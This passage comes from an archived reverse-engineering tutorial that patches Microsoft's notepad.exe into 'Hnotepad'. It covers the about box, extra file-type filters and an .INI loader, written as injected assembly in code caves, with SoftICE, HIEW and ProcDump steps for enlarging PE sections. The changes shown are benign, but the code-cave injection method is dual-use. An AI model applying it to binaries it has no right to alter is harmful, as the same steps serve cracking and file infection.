do is, in BRW, modifying the string that has ID 52, changing it from

"This file is too large for Notepad to open.\nWould you like to use WordPad to read
this file?"

into

"RingZ3r0's Hnotepad v1.00\nModified version of Micro$oft's Notepad.exe\n\n\n*


Code reverse engineering and implementation of new functions by -NeuRaL_NoiSE\n\n*
Help file on HTML programming by Anub|s and Insanity"

You can just copy&paste the above text. Those "\n" mean "newline", as in c.
We still have the problem of the title. C'mon we could add this little string you
say...NO ! I
answer :)...we MUST learn to optimize our code (even if we get some real big
quantities of

http://www.instinct.org/fravia/nnhnpad.htm (16 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

redundant stuff here, but that's for "educational purposes" so don't bother asking
yourself
why;)...Mmh let's see...the title of the about box must be something like "Hnotepad"
right ?
well, now take a look at all those strings in the stringtable where the word
"Notepad"
appears...let's do one thing. We'll modify all those "Notepad" into
"Hnotepad"....except for
"notepad.hlp" of course! So, do it! :)
Now make the program start, set a breakpoint somewhere and, once in the code, take a
look at
memory...a simple "s 0 l ffffff 'Hnotepad'" from SoftICE (or a research from hiew, if
you wish to
find the string physically inside the .exe) will point us to every place in memory
where the
string "Hnotepad" appears...once you found the first one, proceed by entering just
"s" to look
for the next match...now stop by the match at 41027E. You'll notice that it's
preceded AND
followed by 00 bytes...this means that the string is simply that, between the zero
bytes...in
other words, it's just "Hnotepad"...a prefect title for our message box don't you
think ?? ;)
We could, just as above, have pushed directly the address 41027E when we needed it
(in other
words when specifying the title of the MessageBoxA)...but we'll find the pointer to
that
buffer, and we'll push it instead of the direct memory address...the reasons are the
same of
above. Don't be frightened by the sound of the words, a buffer is nothing more than a
variable,
and a pointer.....well let's say that it's the "name" of this variable, to make it
easier for
everyone :). Pointers to common variables reside in .DATA section. We have already
seen some
pointers, do you remember ? I'm talking about the "handle of module containing string
resource"
we must know for the LoadStringA function, the pointer to the text of the message
box, and so
on....the first pointer, for example, was at 405170....this is enough for us to
locate .DATA
section...now everything we must do is finding a pointer (the 'name') to the buffer
(of the
'variable') 41027E ("Hnotepad")...so, in SoftICE, "DD 405170" and look among the
dwords...and
there it is, the pointer we were looking for is at 406060.
So what's left ?? Hmmm, the handle of the owner window...from a practical example
(once again
the "wanna load wordpad?" box), we notice that [ebp+8] contains the hwnd....and this
doesn't
change, as you will see if you experiment a bit...so, we have our last parametere as
well, the
hwnd! (we could have chosen also 0, would have made no difference, but hey, we're
here to explore
no?? :)

http://www.instinct.org/fravia/nnhnpad.htm (17 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Now we just have to decide the style of message box...imho, being this an "about"
message box,
a value of 0 (=MB_OK, in other words a single button with "OK" written on it) will be
perfect
as style...

So now we're ready! All is left to do is modify the existing code to make it jump to
our own
instructions in the .RELOC section....the VA where we'll append our code will be
40895E
(@offset 595Eh), so we have to stick in a jump in .TEXT section to jump to it. The
beginning
of the ShellAboutA routine (@VA 4013D0, @offset 7D0h) will be good:

was

:004013D0 6A02 push 00000002


:004013D2 A170514000 mov eax, dword ptr [00405170]

and becomes

:004013D0 E989750000 ************ jmp 0040895E ; --> TOWARDS OUR NEW CODE

The code that follows the new jmp will be changed in a weird way, but we don't give a
damn
because we don't need it anymore...the program will now continue in the .RELOC
section, at
offset 595Eh, with OUR own code:

...

595Eh: pushad ; saves all regs


push 00 ; 0 = MB_OK
push dword ptr [406060] ; pushes the pointer to "Hnotepad" as TITLE
push dword ptr [4060B0] ; pushes the pointer to new string "RingZ3r0
blabla..." as TEXT
mov esi, [ebp+8] ; hWnd of the owner window in esi
push esi ; pushes the handle
call MessageBoxA ; shows the message box - CALL D,[407430]
popad ; restores all regs
****** jmp 4016eb ; back to .text - OPCODES: E96E8DFFFF

nop ; this part of the code ends as well (the nop is


useless but keep
; it if u're following the procedure i'm using)

Good! So even this one has gone...now try to make the about box pop up...u'll notice
that it
now shows our brand new string, plus "Hnotepad" as title...of course if you try to
open a file
larger than FFFFh (first dimension check) bytes you'll get a nonsense message box,
because old
"wanna load wordpad" string is gone...but it's just a matter of patience, we'll

http://www.instinct.org/fravia/nnhnpad.htm (18 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

eliminate that
box as well, as i said, in PHASE 5.

________________________________________________

PHASE 3 : ADDING MASKS TO OPENFILENAME STRUCTURE


________________________________________________

Well...seen that this is gonna be an Html files editor, it looks clear to me that it
will have
to show "HTML Files", "JS Files" and "VBS Files" among the masks u get when you try
to open/save
as something...(well if you want the truth, i HAVE to do that or Anub|s will kill
me...:))) I'm
joking of course ;)))

Let's start with the "Open file" dialog box.


First of all you must know that the "Open file" dialog box is a predefined dialog,
that is
called by a specific API function, GetOpenFileNameA, which resides in Comdlg32.dll...
So, in order to work with this API, start loading the exports for this dll.
Another thing you should know, is that filter strings (masks) are to be specified,
together
with other parameters (i suggest you read Iczelion's excellent tutorials or API
reference for
more details) in a structure of the OPENFILENAME type, a pointer to whose is pushed
on the
stack before the call to GetOpenFileNameA. So, the structure will contain all the
data we
need - the filters as well :). The filters are defined in this way (let's take for
instance
a text files filter): Filtername db "Text files",0,"*.txt",0,0.....<--- the second
zero is
not an error, but it's put if the filter is the LAST one in the list. Otherwise we'll
have
just one zero and, immediately after, the description of the next filter. This is all
we need.
We can define a new string in the stringtable, that will join it at position 59
(3Bh):

59, "HTML Files|*.htm; *.html|JS Files|*.js|VBS Files|*.vbs"

Don't worry about that "|" between descriptions and actual filters, we just need a
place to
locate where we'll put a ZERO BYTE once appended the string to the filter list, so
that the
program will believe that there are TWO strings there
("description","|","filter"...the "|"
will become a 00 byte).
In Sice, BPX GetOpenFileNameA and then choose "File/Open". Sice will pop, press F12
and the
dialog "Open file" will appear on your screen. Press ESC and u'll be back into sice,
here:

http://www.instinct.org/fravia/nnhnpad.htm (19 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

:004012E7 6880524000 push 00405280 ; OPENFILENAME STRUCTURE IS


PUSHED....
:004012EC C7058C52400080514000 mov dword ptr [0040528C], 00405180
:004012F6 C7059052400030524000 mov dword ptr [00405290], 00405230
:00401300 C705B452400004100000 mov dword ptr [004052B4], 00001004
:0040130A 83C003 add eax, 00000003
:0040130D A3BC524000 mov dword ptr [004052BC], eax

* Reference To: comdlg32.GetOpenFileNameA, Ord:0005h


|
:00401312 E8FA350000 Call 00404911 ; <-- .......AND HERE'S THE CALL
!

Excellent, now let's take a look at memory location 405280. Move the pointer a bit
upwards,
and, one or two PGUPs above, you'll notice clear tracks of the filter strings ("Text
Documents
*.txt" and so on). The filter strings end, as you can see, at memory location 4051A9
(with the
second BYTE 00, that marks the end of the member). So, a simple LoadStringA at this
address
will allow us to append our brand new filter string to the filters already present.
Our code,
once again, will continue, down into .RELOC section, at VA 40897E (@offset 597Eh).
We'll stick
in the jump to our code in the place of the push at 4012E7 (@offset 6E7h), that we'll
restore
later.

was

:004012E7 6880524000 push 00405280


:004012EC C7058C52400080514000 mov dword ptr [0040528C], 00405180

and becomes

:004012E7 E992760000 ************ jmp 0040897E ; --> TOWARDS OUR NEW CODE
:004012EC C7058C52400080514000 mov dword ptr [0040528C], 00405180

As you can notice, the following MOV isn't changed, so that we'll just come back here
once
we're done with the mofifications and the pushing of the structure.

Now all we must do is to modify, for the same purpose, the code relative to "Save as"
dialog.
This dialog is a predefined one as well, and is called with API function
GetSaveFileNameA
(located in comdlg32.dll as usual). We won't need big modifies, it will be enough to
make the
code relative to the pushing of the "Save as" structure point to the "new" code
relative to

http://www.instinct.org/fravia/nnhnpad.htm (20 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

"Open file" (our new code). So, a bpx on GetSaveFileNameA will help us find the point
we'll
modify, which happens to be 40168A (@offset A8Ah):

was

:0040168A 6880524000 push 00405280 ; pushes the structure


:0040168F E86B320000 Call 004048FF ; Call GetSaveFileNameA

and becomes

:0040168A E9EF720000 ************ jmp 0040897E ; --> TOWARDS OUR NEW CODE
:0040168F E86B320000 Call 004048FF ; Call GetSaveFileNameA

As you can see, the following call to GetSaveFileNameA hasn't changed, so we don't
need to
include it into our code (we'll just jump back here once we're done).

But how will our code distinguish between a GetSaveFileNameA and a GetOpenFileNameA
(a
differentiation is NECESSARY, seen that we MUST know WHERE in .TEXT section to jump
back once
we're done with structure modifying & pushing) ??
Take a look at the registers, once reached our code (or the new jumps which will
bring there):
when we have chosen "Open file", the value in ESI will always be 0Ah (=10 dec.),
which is the
menu ID of the File/Open menu item. If we have chosen "Save as", the value will
always be another
one, of course. So, we'll just check if ESI=Ah, and we'll jump back
to the according part of .TEXT section.

So our code will be this:

...

597Eh: pushad ; saves all regs

push 50 ; max # of chars to take from the string

push 4051A9 ; addres of input buffer (appends to existing


filters)

push 3b ; 3Bh=59 dec...this is the ID to our new string,


; "HTML Files|*.htm; *.html|JS Files|*.js|VBS
Files|*.vbs"

push dword ptr [405170] ; handle of module containing string resource

call LoadStringA ; Loads the string at 4051A9


; CALL D,[4073B0]

http://www.instinct.org/fravia/nnhnpad.htm (21 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

mov byte ptr [4051b3], 0 ; puts a ZERO BYTE where we had "|" between "HTML
Files" and
; "*.htm", so that the separation between description
and filter
; is done, and the program will belive they are 2
different
; strings

mov byte ptr [4051c1], 0 ; same as above but between "*.html" and "JS Files"

mov byte ptr [4051ca], 0 ; same as above but between "JS Files" and "*.js"

mov byte ptr [4051cf], 0 ; same as above but between "*.js" and "VBS Files"

mov byte ptr [4051d9], 0 ; same as above but between "VBS Files" and "*.vbs"

cmp esi,0ah ; ESI=Ah if we come from a click on "Open file"

jnz 59c7 ; ESI != 0ah??

popad ; if not, restore all regs...

push 405280 ; ...push the modified structure...

****** jmp 4012ec ; AND CONTINUE WITH THE GetOpenFileNameA PART (back
to .TEXT)
; OPCODES: E92589FFFF
59C7:

popad ; else if esi!=0ah, restore all regs...

push 405280 ; ...push the modified structure...

****** jmp 40168f ; AND CONTINUE WITH THE GetSaveFileNameA (back to


.TEXT)
; OPCODES: E9BD8CFFFF

There u go...now your "Open file" and "Save as" dialogs will show more masks.

You can even lengthen your new filter string to add more masks, but you must keep in
mind that
you can't exceed the memory block reserved for the structure, you can't overwrite
other members
of the structure, and that you must put a 00 byte between the various
"description","filter","description" and so on...PLUS *TWO* ZERO BYTES AT THE END OF
THE LAST
FILTER. If the space you have is not enough, just choose another brand new place and
put the
whole customized structure there, and push it afterwards in the place of the former
one...

http://www.instinct.org/fravia/nnhnpad.htm (22 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

____________________________

PHASE 4 : .INI FILE ADDITION


____________________________

So, here we go with the (apparently) most difficult part of this tutorial. First of
all let's
take a look at how our .INI file will look like by default:

****
FILE AUTOMATICALLY GENERATED BY HNOTEPAD v1.0
USE ONLY 'Y' OR 'N' IN THE 'AutoWrap' FIELD !!

-NeuRaL_NoiSE 1999
****

AutoWrap=N
LastFileIs=

Now we can think about how do we want to organize the code relative to this function.
Obviously
we'll have to write a part of code that READS the .INI at program start and one that
CREATES/WRITES it at quitting time.
Let's analize the READ function first:

* At Hnotepad start, the code will have to look for a predefined file
C:\Windows\Hnotepad.ini.
If this file isn't found, go on as if nothing happened.

* If it's found, read data from it and look for the first equal sign ('=') contained
in it.
After this sign there will be the desired position of the WordWrapping at start. If
the '='
can't be found, come back to .text without more checks and proceed by default.

* If the first '=' is found, check the letter next to it, and verify if it's 'Y',
'y', 'N' or
'n'. If the letter does not match, come back to .text and proceed by default.

* If the letter matches a 'Y' or 'y', append the 'WordWrapping toggle' message to the
process's
message queue, u'll understand later how to do it.

* If it matches 'N' or 'n', go on without sending the message.

* Check if Command Line == NULL. If the user chose a file to open, we'll have to load
this one
and not the one pointed in the .INI, because of course the last one has less

http://www.instinct.org/fravia/nnhnpad.htm (23 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

priority than the


file we're trying to load from command line.

* ONLY if Command Line == NULL, we'll try the last file opened pointed by the .INI.
Starting
from previous position, we'll look for the next '='. After this '=', there'll be
the name of
the last file opened. If the '=' can't be found, come back to .text and proceed
opening a
new document (like notepad would behave in normal conditions).

* if the '=' is found, check that immediately after it there's a letter ranging from
'a' to 'z'
or from 'A' to 'Z'. This is useful to determine wheter the filename is correct or
not (don't
misunderstand, we're not checking if the file exist, we're just trying to avoid
loading of
files such as "7:\xyz\xyz.txt"). In other words we check if the initial char is an
alphabet
letter, thus a valid identifier for a drive, and not a number or a symbol. If it's
not a valid
letter, come back to .text and proceed by default.

* If we found a valid letter, proceed reading until the string that defines the
filename ends:
save the initial position of the string, and then go on from there looking for a
space (' ',
=20h) or a carriage return (=0Dh). If neither the first nor the second can be
found, proceed
until the end of file. One thing must be cleared: when we save our default .INI,
after the
second '=' there's a space (' '), that, if found in the check, indicates the end of
the
filename string. If, instead, we save the .INI with the name of a file to reopen
afterwards,
we'll append a CR (=0Dh), which will work like the space of before. If the user has
inserted
manually the name of the last file in the .INI, there's no problem as well cuz
we'll have a
third check, the one for the lenght of the file. Once we reach the EOF we'll
consider FINISHED
the filename definition string.

* Once we found the end of the filename definition string, copy it directly inside
the buffer
that is used to open a file when cmdline!=NULL. Notepad will automatically load the
file cuz
we'll do this operation BEFORE the native check for the cmdline is done. In other
words, we'll
'bruteforce' the name of a file inside the buffer that would otherwise contain only
00 bytes,
thus 'simulating' the choice by the user of a file to open from command line (as in
"notepad xyz.txt").

* At this point, we'll come back to .TEXT to normally continue with the code.

http://www.instinct.org/fravia/nnhnpad.htm (24 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Now we must notice one thing. To add more code, we'll have to use .RSRC section, as
the space in
.RELOC is almost finished. Alas there'a limitation, and this limitation resides in
BRW.
Obviously with the help of a little logic we'll get around it pretty easily, tho you
have the
right to know what we're gonna face: the limitation i'm talking about is that,
everytime we
modify the resources, BRW RECREATES from scratch the .RSRC section. U dig it ? All
your nice
additional code would be DESTROYED by a single change in any of the resources if u do
it with
BRW. There are severals systems to get around this, and we'll use two of them: first
of all we'll
put (almost) all the strings we need in the stringtable BEFORE coding our stuff in
.RSRC. Then,
when everything will be written, we'll have to face the problem that we'll need more
strings in
the fifth phase of this tute, but we'll solve this later.
So, start adding these two strings to the stringtable of our target (u'll understand
later why we
need them):

60, "c:\\windows\\hnotepad.ini"
61, "****\nFILE AUTOMATICALLY GENERATED BY HNOTEPAD v1.0\nUSE ONLY 'Y' OR 'N'
IN THE 'AutoWrap' FIELD !!\n\n-NeuRaL_NoiSE 1999\n****\n\nAutoWrap=N\nLastFileIs= "

Another problem we'll meet will be the lack of physical space at disposition for our
bytes.
Towards the end of this piece of code, you will almost have ended the space in .RSRC
as well, so
don't waste your time later and open ProcDump now, then edit notepad's pe and click
on
"sections". Once there, edit .RSRC and enlarge both raw & virtual size (safer) from
3000 to 3200
bytes (aligned to FileAlignment, remember), then enlarge the Size of Image to cover
these new bytes
(C200h is the final value...they way to compute the size of image is by adding last
section's RVA+last
section's VIRTUAL size), and finally save the changes (only to PE header will do
fine).
This will give us all the space we need.

This said, i suppose that we can think about the point where to place the deviation
to our .INI
checking code. We have to keep in mind 2 things before doing this little research:

1) in order to inform the program that we want Wrapping on (if that's the case), we
need to
simulate a click on the "Word Wrap" option. This is fairly easy, we can do it with
PostMessageA
or with SendMessageA. SendM. will immediately jump to the window procedure so it's

http://www.instinct.org/fravia/nnhnpad.htm (25 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

not suitable
for our needs, as we have to make more checks (and clean everything up) afterwards.
So, we'll use
PostMessageA, that simply ADDS the message to the message queue of the executing
thread. But wait
a second...in order to use PostMessageA we need a HWND (in other words a window)
where to send
our message!
So the first thing we'll have to mind is that the EDIT control (that notepad uses at
the moment)
must have been ALREADY CREATED WHEN WE DEVIATE TOWARDS OUR CODE.

IMPORTANT SIDE NOTE: WHEN WE DON'T SEND ANY "WORD WRAP TOGGLE" MESSAGE, WITH AN EDIT
CONTROL
IT WILL BE OK, THE WRAPPING WILL BE KEPT OFF...BUT, WITH A RICHEDIT CONTROL (WHICH
WE'LL
IMPLEMENT IN OUR HNOTEPAD IN THE 5TH PHASE) EVERYTHING GOES NUTS. THIS IS A BUG DUE
TO THE
PROBLEMS THAT COME BECAUSE WE'RE TRYING TO MAKE A SLOPPY PROGRAM LIKE NOTEPAD
INTERACT WITH A
POTENTIALLY POWERFUL CONTROL LIKE THE RICHEDIT. ANYWAY IN 2 WORDS WHAT I UNDERSTOOD
FROM ALL
THIS IS : IF WE SEND *ONE* "WORDWRAP" MESSAGE AT STARTUP, THE RICHEDIT CONTROL WILL
PUT WRAPPING
*ON* (EVERYTHING AS NORMAL). IF WE DO *NOT* SEND ANY MESSAGES AT STARTUP, WE'LL BE IN
TROUBLE
BECAUSE EVERYTHING BECOMES MESSED (LIKE OPTION TURNED OFF, BUT WRAPPING TURNED ON).
IF WE SEND
*TWO* "WORDWRAP" MESSAGES, THE PROGRAM WILL FIRST PUT WRAPPING ON, THEN RE-PUT IT
OFF...THIS IS
IDEAL FOR OUR PURPOSES: IF WE WANT THE WRAPPING, WE'LL SEND *ONE* MESSAGE, IF WE
DON'T WANT IT,
INSTEAD OF AVOIDING TO SEND IT AT ALL, WE'LL SEND *TWO* OF THE SAME "WRAP TOGGLE"
MESSAGES,
AVOIDING ALL THE MESS THAT THIS ANNOYING BUG IMPLIES.
CONTACT ME IF THIS IS NOT CLEAR :)

2) BUT, if we wait too long, we could fall in the opposite mistake: the thread might
have already
created the edit control, but the cmdline check could have been already made too! so
our second
check (for the file to open pointed in the .INI) would be useless...
So here's the second thing we'll have to consider: THE CHECK FOR THE COMMAND LINE
MUST HAVE *NOT*
BEEN MADE YET.

We can easily guess that the check for the command line happens AFTER the creation of
the
control, and this is real good news for us. All we must do is "catching" that
fleeting moment
between the two operations, and insert there all our checks. Ahh, zen owns, heheh :)

I'd say that a good start might be that message box that says "Cannot find the
xyz.xxx file...",
that appears everytime we try to open a file that doesn't exist. It points us to a

http://www.instinct.org/fravia/nnhnpad.htm (26 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

potential
place where the control has been ALREADY created and the command line has been JUST
checked.

So here is where we'll arrive with a BPX MessageBoxA:

* Reference To: USER32.MessageBoxA, Ord:0176h


|
:00402251 FF1530744000 Call dword ptr [00407430]
:00402257 8BE5 mov esp, ebp
:00402259 5D pop ebp
:0040225A C21400 ret 0014

Hmm, let's go back past the ret...

:004028D0 E84FF9FFFF call 00402224 ; <-- WE COME BACK FROM THIS CALL
:004028D5 83F806 cmp eax, 00000006
:004028D8 7545 jne 0040291F

Here's the check for the key we pressed. But let's take a look at the code that comes
before,
what's that CreateFileA?? :)

:00402853 803B00 cmp byte ptr [ebx], 00


:00402856 0F84F4000000 je 00402950
:0040285C 53 push ebx
:0040285D 68D0524000 push 004052D0
:00402862 E8F6F9FFFF call 0040225D
:00402867 6A00 push 00000000
:00402869 6880000000 push 00000080

:0040286E 6A03 push 00000003

* Reference To: KERNEL32.CreateFileA, Ord:0039h


|
:00402870 8B1D44734000 mov ebx, dword ptr [00407344]

Very interesting...here we have the check that interested us, the cmd line check!!
The byte ptr [ebx] contains 00 if we didn't put anything as command line, but let's
try to put a
bpx on the check (at 402853), then let's get back to DOS prompt and let's type
NOTEPAD FAKE_FILE...sice will pop at 402853. Now try "D EBX"...u'll find there
"FAKE_FILE", just
as you wrote it...right! this is the command line buffer! :)
but wait a sec...that's not the buffer we have to use...can u see that call next to
the check?
here it is:

:0040285C 53 push ebx

http://www.instinct.org/fravia/nnhnpad.htm (27 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

:0040285D 68D0524000 push 004052D0


:00402862 E8F6F9FFFF call 0040225D

If you trace into it, u'll notice that this call is comparable to an lstrcpy, in
other words it
COPIES the name of the file (in d,[ebx]) into the predefined buffer at 4052d0:
furthermore, if in
the command line, like in our case, you have written something like FAKE_FILE, after
this call
u'll notice that the name has changed into FAKE_FILE.txt -- all this call does at
this point is
clear, and what we can understand is clear as well: the buffer to use is that one at
4052d0 (as
you can see even if u take a look at the params pushed before the CreateFileA that
comes
afterwards). So this will be the buffer where we'll write our filename into. But
there were 2
things to keep in mind, remember? We must check if the edit control has already been
created at
this point. In SoftICE, once arrived at 402853, type in HWND NOTEPAD (if the name of
the file
you're running is notepad.exe, or else refer to it, or find out with the TASK
command); u'll
notice that the second class name is an EDIT CONTROL....bingo, it's already present,
so we found
a good zone for our deviation! :)

We'll place the jump to our code in the place of that JE at 402856.

*** NOTE ***

The return addresses from our code will be several:


* if the .INI file is NOT present (or it's there but contains some errors) and the
USER has NOT
chosen any file from the command line, we'll come back at 402950 (where that je would
jump
normally).
* if the .INI is present but the user chose a command line, we'll come back at 40285c
with that
'Copy & Add Extension' call.
* if the .INI is present and the user did NOT choose a command line, we'll copy the
filename
(pointed by the .INI) DIRECTLY INSIDE THE BUFFER AT 4052d0, and we'll come back at
402867 with
the first CreateFileA parameter pushing, that refers to that buffer.

***END NOTE***

Our code will begin at 40BEED (@88edh) -- actually we could have saved some bytes but
it's safe
this way -- thus the deviation will be this (@1c56h):

http://www.instinct.org/fravia/nnhnpad.htm (28 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

was

:00402856 0F84F4000000 je 00402950

and becomes

:00402856 E992960000 ************ jmp 0040BEED ; --> TOWARDS OUR NEW CODE
:0040285B 90 nop

Ah, obviously we'll need some API functions...every time you find an API call in the
code, just
substitute (from HIEW) call d,[dword_ptr_of_the_api].

here are the dd's u'll need:

LoadStringA: call d,[4073b0]


_lopen: call d,[407364]
_lread: call d,[407368]
PostMessageA: call d,[40745c]
lstrcpyA: call d,[40733c]
_lclose: call d,[4072f0]

Now let's take a look at our code: seen that it might be quite difficult to
understand the
structure with only the offsets as references, i decided to put some explicit labels
(with the
relative offset in parenthesis).

Start (@88ed):

pushad ; saves all regs


push 20 ; # of chars to take from the string
push 63f8c4 ; buffer for reception
push 3c ; =60 dec, the ID of "c:\\windows\\hnotepad.ini"
push 400000 ; handle of the module with the stringtable
call LoadStringA

push 0 ; pushes a dummy parameter on the stack, we'll overwrite it with the handle
of the file
; if the .INI is found.

push dword ptr [406000] ; saves the hWnd. You always find it here. You can easily
find this
; out by looking at the pointers in the .IDATA section. We
can't use
; the old [ebp+8] we used before, because this passage is
yet to come
; at this point.

http://www.instinct.org/fravia/nnhnpad.htm (29 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

; NOW WE MUST OPEN THE FILE...WE'LL USE _lopen:


;
; HFILE _lopen(
;
; LPCSTR lpPathName, // pointer to name of file to open
; int iReadWrite // file access mode
; );

push 0 ; = OF_READ, opens for reading only and the call fails if the file doesn't
exist
push 63f8c4 ; "c:\windows\hnotepad.ini"
call _lopen
cmp eax, -1 ; was there an error while opening ??
jnz FILE_FOUND (@8924h)

pop eax ; throw away the dummy param


pop eax ; throw away the hWnd
popad ; restores all regs
jmp ERROR_IN_FILE (@8a11h)

FILE_FOUND (@8924h):

mov [esp+4], eax ; file handle in the place of the dummy param

; NOW WE MUST READ DATA FROM THE FILE....WE'LL USE _lread:


;
; UINT _lread(
;
; HFILE hFile, // handle to file
; LPVOID lpBuffer, // pointer to buffer for read data
; UINT uBytes // length, in bytes, of data buffer
; );

push ff; # of bytes to read; ATTENTION - USE OPCODES 68FF000000, otherwise HIEW
will put
; 6AFF, that will be interpretated by Win98 (not by 95) as PUSH FFFFFFFF,
not
; PUSH 000000FF
push 4109a1 ; buffer "RingZ3r0's Hnotepad.....", restored in CLOSE (@89EBh)
push eax ; file handle
call _lread

mov edi, 4109a1 ; what we have read from the file


mov ecx, eax ; effective lenght of the file in ecx
mov al, 3d ; '='
repnz scasb ; search AL ('=') in the buffer pointed by EDI for a lenght of ECX
bytes
jnz ERROR (@895Fh) ; if the '=' has not been found

http://www.instinct.org/fravia/nnhnpad.htm (30 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

; if the '=' has been found, EDI points to the byte NEXT TO THE '='.

mov esi, 1 ; esi will count HOW MANY TIMES WE MUST SEND THE "WRAP TOGGLE" MESSAGE
-- READ THE
; IMPORTANT SIDENOTE OF BEFORE FOR MORE INFOES

cmp byte ptr [edi], 59 ; 'Y'


jz SEND_AUTOWRAP (@896Dh)
cmp byte ptr [edi], 79 ; 'y'
jz SEND_AUTOWRAP (@896Dh)
cmp byte ptr [edi], 4E ; 'N'
jz AUTOWRAP_OFF (@896Ch)
cmp byte ptr [edi], 6E ; 'n'
jz AUTOWRAP_OFF (@896Ch)

ERROR (@895Fh):

pop eax ; throw away hWnd


mov dword ptr [63f8c4], 40c011 ; this dword ptr will be the location containing the
variable
; VA where we'll jump within our "universal" return
routine,
; CLOSE (@89EBh).
; 40c011 is the VA for ERROR_IN_FILE (@8a11h)
jmp CLOSE (@89EBh) ; = jmps in HIEW

AUTOWRAP_OFF (896Ch):

inc esi ; esi=2 so it will send the "wrap toggle" message TWO times, switching
wrapping ON and
; then OFF!

SEND_AUTOWRAP (@896Dh):

; NOW WE'LL SEND THE MESSAGE RELATIVE TO THE WRAPPING, USING PostMessageA:
;
; BOOL PostMessage(
;
; HWND hWnd, // handle of destination window
; UINT Msg, // message to post
; WPARAM wParam, // first message parameter
; LPARAM lParam // second message parameter
; );
;
; OBVIOUSLY WE WANT TO SIMULATE A CLICK ON A MENU ITEM: THE MSG WILL THEREFORE BE
111h
; (WM_COMMAND), AND wParam WILL BE 1Bh (=27 DEC, THE MENU ID OF "Edit/Word Wrap")

http://www.instinct.org/fravia/nnhnpad.htm (31 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

pop eax ; restores hWnd....


push eax; ...and re-saves it
push ecx; saves the remaining bytes for next check's scasb because PostMessageA
; modifies the ECX register

push 0 ; lParam
push 1b ; wParam
push 111; = WM_COMMAND
push eax ; l'hWnd
call PostMessageA

pop ecx ; restores the remaining bytes for the scasb in the next check
dec esi ; decrease counter
jnz SEND_AUTOWRAP (896Dh) ; jumps if esi=2, so we want the wrapping to be OFF

cmp byte ptr [ebx], 0 ; check if CMDLINE==NULL


jz CONTINUE (@8996h)
pop eax ; throw away hWnd
mov dword ptr [63f8c4], 40285c ; else return VA = 40285c, see "*** NOTE ***"
jmp CLOSE (@89EBh) ; = JMPS in HIEW

CONTINUE (8996h):

mov al, 3d ; '='


repnz scasb ; search AL ('=') in the buffer pointed by EDI for a lenght of ECX
bytes
; ecx has been decreased (by the previous repnz scasb) of the # of
; bytes between the BEGINNING of file and the FIRST '='
jnz ERROR (@895Fh) ; if the '=' has not been found

; NOW WE'LL CHECK IF THE CHAR IMMEDIATELY AFTER '=' IS A CORRECT ALPHABET LETTER.
ASCII
; VALUES ARE : 'a' = 61 , 'z' = 7A , 'A' = 41 and 'Z' = 5A

cmp byte ptr [edi], 61 ; 'a'


jge 2_LOWCASE (@89A3h)
jmp UPCASE (@89A8h) ; JMPS in HIEW

2_LOWCASE (89A3h):

cmp byte ptr [edi], 7a; 'z'


jle OK (@89C1h)

UPCASE (@89A8h):

cmp byte ptr [edi], 41 ; 'A'


jge 2_UPCASE (@89AFh)
jmp INVALID (@89B4); = JMPS in HIEW

http://www.instinct.org/fravia/nnhnpad.htm (32 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

2_UPCASE (89AFh):

cmp byte ptr [edi], 5a ; 'Z'


jle OK (@89C1h)

INVALID(@89B4h):

pop eax ; throw away hWnd


mov dword ptr [63f8c4], 402950 ; return VA, see "*** NOTE ***"
jmp CLOSE (@89EBh) ; = JMPS in HIEW

OK (@89C1h):

push edi ; saves the position of the first byte in the filname defintion string

SEARCH_CR_OR_SPACE (@89C2):

inc edi
cmp byte ptr [edi], 20 ; ' '
jz FOUND (@89D0h)
cmp byte ptr [edi], 0D ; = Carriage Return
jz FOUND (@89D0h)
dec ecx ; ECX contains the bytes between the second '=' and EOF
jnz SEARCH_CR_OR_SPACE (@89C2)

FOUND (@89D0):

mov byte ptr [edi], 0 ; marks, in memory, the end of the filename definition string
pop edi ; restores the initial position of the string (that now ends with a 00
byte)

push edi
push 4052d0
call lstrcpyA ; copies EDI (begin name of file - zero byte) in 4052d0 (buffer for
the file to
; open)

mov dword ptr [63f8c4], 402867 ; VA for the return jump, see "*** NOTE ***"
pop eax ; throws away hWnd

CLOSE (@89EBh):

pop eax ; file handle in eax

; NOW WE HAVE TO CLOSE HNOTEPAD.INI; WE'LL USE _lclose:


;
; HFILE _lclose(
;
